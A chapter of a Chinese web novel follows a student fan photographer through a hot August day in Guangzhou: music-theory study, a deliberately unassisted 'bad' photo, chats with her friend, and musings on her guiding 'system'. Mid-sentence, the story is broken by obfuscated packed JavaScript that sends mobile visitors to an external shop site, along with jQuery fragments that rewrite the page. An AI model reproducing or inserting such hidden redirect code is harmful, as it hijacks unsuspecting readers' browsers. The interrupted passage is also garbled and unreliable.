八月十号。广州。三十五度。
图书馆三楼靠窗的位置，空调坏了上半边，下半边还在嗡嗡地吐最后一口气。热气从没关严的窗缝钻进来，跟残存的冷气打了个平手，谁也没赢，苦的是夹在中间的人。
江梨初面前摊着《基础乐理：从零开始》，翻到第四十二页，和弦的构成。
午后的日头晒得柏油路面泛着白光，树叶被烤得油亮，连风都裹着一股闷烫的气息。
蝉扒在繁密的枝叶深处，毫无顾忌地嘶鸣起来。一声接着一声，粗粝的鸣响破开蒸腾的热浪，一波波往人耳朵里钻，叫得理直气壮，半点不肯示弱，倒像是踞在树梢，正同滚烫的白日争执不休。
她拿笔在书上划了一行："大三和弦=根音+大三度+纯五度。"
在本子上写：C-E-G。
闭上眼，默唱：Do-Mi-Sol。
Mi偏高了一点。
重来，Do-Mi-Sol。
好像对了，也可能不对——她没有绝对音感，系统有。
系统在她脑子里铺了一层标注："大三和弦，明亮、稳定的色彩，大调主和弦——"
她把那层标注推开了。
像考试时旁边坐了个学霸，老往你卷子上瞟答案，不是讨厌学霸，是想自己先想明白。
翻开手机，点了他的一首歌，不是听，是"看"——看能不能从波形里看出和弦切换的位置。
看不出，波形就是一条歪歪扭扭的线，她看了半天，什么也没看出来。
"……行吧。"手机扣桌上，拿起笔，在本子上写："笨办法：一个一个音地听。"
把歌暂停。凭记忆默写她记得的旋律。
"Mi-Re-Do-Re-Mi……好像是这个？不对，后面应该是Mi-Sol？还是Mi-La？"
笔尖顿住了，她盯着自己写的那行音符，盯了五分钟。
笑了。
不是想明白了，是发现她写出来的东西，听起来像幼儿园早操歌。
"你这个……"她小声嘟囔，把本子扣在桌上，"当没写过。"
嘴角没放下来。
旁边座位的男生侧头看了她一眼，她赶紧板起脸，正襟危坐，假装认真学习。
男生转回去了。
她偷偷翻开本子看了一眼。
确实是早操歌。
划掉，在旁边写："今日总结：系统和弦标注已关闭。默写旋律失败，音感比预期差，但比昨天好——昨天连Do都找不准。"
顿了顿，又加："图书馆空调坏了，热。"
合上本子，站起来，伸了个懒腰。关节"咔咔"响了两声，坐太久了。
走出图书馆的时候手机震了，是林叙。
"上海场修图你发了没？"
"发了。昨天九点。"
"你几点睡的？"
"……两点。"
"江梨初。"
"三点。"
"……"
"好吧四点。但最后修完那张《If You》的全景是值得的——你看评论区，都在说有氛围感。"
"你用命换图是吧。"
"不是命，是肝，肝可以再生。"
"你学的是新闻系，不是生物系。"
林叙发了个白眼表情包。然后一条语音："今天排期表第三条，品牌活动花絮cut，你素材整理了没？"
"整理了一半。"
"另一半呢？"
"在我脑子里，还没导出来。"
"……你脑子是SD卡吗？还导出。"
"差不多，就是传输速度慢了点。"
林叙没再回，大概是去骂别人了。
江梨初笑着收起手机，走在校道上。
广州八月的热浪像一锅滚开的汤，她走在里面觉得自己是忘了捞出去的那块萝卜。
热，很热，但天很蓝。
她抬头看了一眼，蓝得像有人拿水冲过，白云大团大团的，边缘被太阳烤得发亮。
摸出手机。
不是签到，是拍照。
然后她停住了。
她最近老在想一件事——想了好几天了，从深圳场回来就一直想——按下快门的那根手指，到底算谁的。
系统告诉她什么时候按，怎么构图，用什么参数，她的手指只是在执行。
她站在校道中间，手机举起来，对准天空。
系统浮了一行标注："光线过强，建议-1EV。天空占比过大，建议主体占画面1/3。"
她没调。
就用自动模式，按了。
咔嚓。
看了一眼屏幕。
天是白的，云是糊的，左下角有一截树枝闯进了画面，像一条不请自来的胳膊。
她盯着看了三秒。
笑了。
是那种：怎么说呢，小时候画蜡笔画，画了一坨自己也说不清是什么的东西，但妈贴冰箱上了，你还是挺高兴的笑。
"这张……真烂。"她自言自语。
但梨涡在那儿呢，站在三十五度的校道上，一个热坏了但还挺乐呵的傻瓜。
路过的食堂阿姨拎着菜篮子，看见她对着手机傻笑，喊了一嗓子："姑娘！天这么热别站太阳底下，会中暑的！"
"谢谢阿姨！我就站一下！"
"站什么站，进来喝碗绿豆汤！"
"好嘞！"
跑进食堂，绿豆汤免费的，暑假留校有补贴。阿姨给她盛了一大碗，碗底还沉着两块冰。
她端着碗，坐在空荡荡的食堂里，把那张烂照片设成手机壁纸。
替换了之前那张广州场的糊图侧影。
她喝了一大口绿豆汤，冰得打了个激灵。
"爽。"
下午两点，奶茶店。
站了六个小时的班，小腿肚子又抽筋了。她靠在吧台后面，趁没客人，掏出手机刷站子后台。
粉丝数：十二万四千，比上周涨了两千，速度慢下来了，正常，巡演间歇期没前线图，热度自然回落。
翻到评论区，一条新评论被顶到前排：
"梨花带雨最近出图频率低了，是不是在憋大招？七月品牌活动那组图到现在还没发花絮cut，吊胃口呢？"
下面有人回："人家也是大学生，暑假可能有实习吧。"
"大学生？她不是专业摄影师吗？"
"……你新来的吧，她就是个大学生，站子就做了三个月。"
"？？？三个月？？那她以前是干什么的？"
"追星的，跟你我一样。"
江梨初看到最后这条，鼻子忽然有点酸。
不是难过，是走了很远的路回头看，发现有人记得你出发时的样子。
她关掉微博，拿起笔，在记账本上写：
"8月10日。签到73天。粉丝124,000。"
"深圳场图已发，品牌花絮整理中。"
"乐理42页，和弦，不太懂。"
"12月首尔——结余1,467。差3,533。每月攒1,000，四个月。"
她看着最后一行。
四个月，够了。
从深圳场那首《Loser》开始，她一个音一个音地想，系统给她耳朵，没给她心跳，心跳是她自己的。
那照片呢？
快门是她按的，但什么时候按、怎么按，系统说了算。
——除非她不按系统说的来。
她看着自己新设的壁纸，那张过曝的、歪的、闯进一截树枝的天。
签到。
【叮。】
【签到地点：XX大学·第三食堂。】
【连续签到：73天。】
【发放奖励：签到金（300元）。】
【明日，请继续签到。】
三百块，记进12月首尔基金。
五行字，流程跟过去七十三天一模一样。地点、天数、奖励、那七个字。
但今天她多看了一眼"明日，请继续签到。"
以前这七个字是晚安，后来变成合同，再后来变成脑子里的背景音。
今天她看着它，忽然觉得——它不是晚安，不是合同，不是背景音。
是一根绳子，系了七十三天，系到她不敢松手。
但绳子绑住的是谁？她，还是系统把她绑在身上的？
她收起手机，没想出来。
但今天想明白了一件——那张烂照片，比系统帮她拍的任何一张完美照片，都让她高兴。
系上围裙，笑着招呼进门的客人："欢迎光临！今天第二杯半价哦！"
客人是两个高中女生，叽叽喳喳的，点完单，其中一个突然指着她的工牌："你是不是……梨花带雨？"
江梨初愣了一下。
"我关注了你的微博！你的图超好看！"女生眼睛亮得像捡到钱了，"你就是那个拍GD拍到出圈的站姐吧？！"
"哈哈……算是吧。"她笑得有点心虚，梨涡浅浅的，"我就
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17936219|213721||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
一普通追星的。"
"普通？你拍的那种图叫普通？"另一个女生凑过来，"你是不是学摄影的？好几年那种？"
"……三个月。"
"三个月？！"
两个女生异口同声，声音大得门口风铃都撞响了。
"嗯。"她低头在收银机上戳订单，假装很忙，"可能运气好吧。"
她们端着奶茶走了，还在叽叽喳喳讨论"三个月怎么可能这么厉害"。
江梨初站在吧台后面，听着她们的声音越来越远。
运气。
以前她也觉得是运气，系统给的，天上掉的，砸头上了。
但现在不那么觉得了。
系统给了她镜头、技术、韩语、审美，这些是工具，攒半年生活费买票的是她，挤硬座跟巡演的是她，凌晨两点四十七分发微博的是她，深圳场闭上眼不听系统、只想听他声音的，是她。
工具是借的，用工具的人不是。
晚上十点。宿舍。
林叙的视频电话准时到。
"花絮整理好了？"
"整理好了，十二张，九宫格加三张长图。"
"行，明早九点发。"林叙啃着西瓜，"你今天听起来心情不错。"
"是吗？"
"嗯，上周你接电话像条咸鱼，今天声音亮了。"
"我今天就拍了张照片。"
"什么照片？"
"天空，过曝，歪的，还闯进来一根树枝。"
"……"
"然后我把它设成壁纸了。"
林叙沉默了三秒。
"江梨初。"
"嗯？"
"你最近是不是压力太大了。要不要回家休息几天。"
"我很好！真的！"她举起手机给林叙看壁纸，"你看——是不是很烂？"
林叙眯着眼看了一眼。
"确实很烂。"
"对吧！"
"……但你笑得跟这张照片不太搭。"
"什么意思？"
"照片很烂，但你因为这张烂照片在笑。"
林叙顿了一下，西瓜皮在手里转了转。
"你最近笑得不太真，我以为你没发现，看来你发现了。"
江梨初没说话。
"但今天这个笑是真的。"林叙说，"烂照片让你笑了，不是好照片，是烂的，这有意思。"
"因为它是我的。"她抱着膝盖坐在床上。
"你的照片不都是你的吗？"
"这个不一样。"
林叙啃完最后一口西瓜，把皮扔进垃圾桶，屏幕里传出"咚"的一声。
"行，你开心就好，但站子的图别发这种，粉丝会以为号被盗了。"
"当然不会！"她瞪了手机一眼，"我好歹分得清工作和自嗨。"
"知道就好，早点睡，明天发图。"
"嗯，晚安。"
"晚安。"
视频挂了，屏幕暗下来。
她躺在黑暗里看天花板。
翻了个身，拿起记账本，借着手机屏幕的光，在"12月，首尔"那页最后面加了几行：
"8月10日，拍了张烂照片，很开心。"
"乐理42页，还是不太懂。"
"笨办法也是办法。"
合上本子，把手机扣在枕头边。
签到。
那行字还没出现。她等了一会儿。
【明日，请继续签到。】
来了，准时的，安静的。
她盯着这七个字。
"你也挺准时。"她小声说，对着空气，"跟校门口保安大爷似的。到点出现，不多话，到点就走。"
没人回答。
当然没有。
但她觉得那行字闪了一下。比平时亮了零点几秒。
大概看错了。
翻了个身，闭上眼。帆布包里那本《基础乐理》的书角硌着后背，硬硬的。
明天早起，上午家教，下午奶茶店，晚上修图，后天发深圳场花絮，下周开始南京场预热。
巡演还在继续，她的夏天还没过完。
夏天完了，秋天攒钱，冬天去首尔。
去干什么？不知道。
去见他。
窗外蝉在叫，广州的蝉叫起来不像北京的脆、不像成都的懒——像烧开的水壶，尖细、固执，一声接一声，不带喘。
她听着，慢慢睡着了。
嘴角翘着。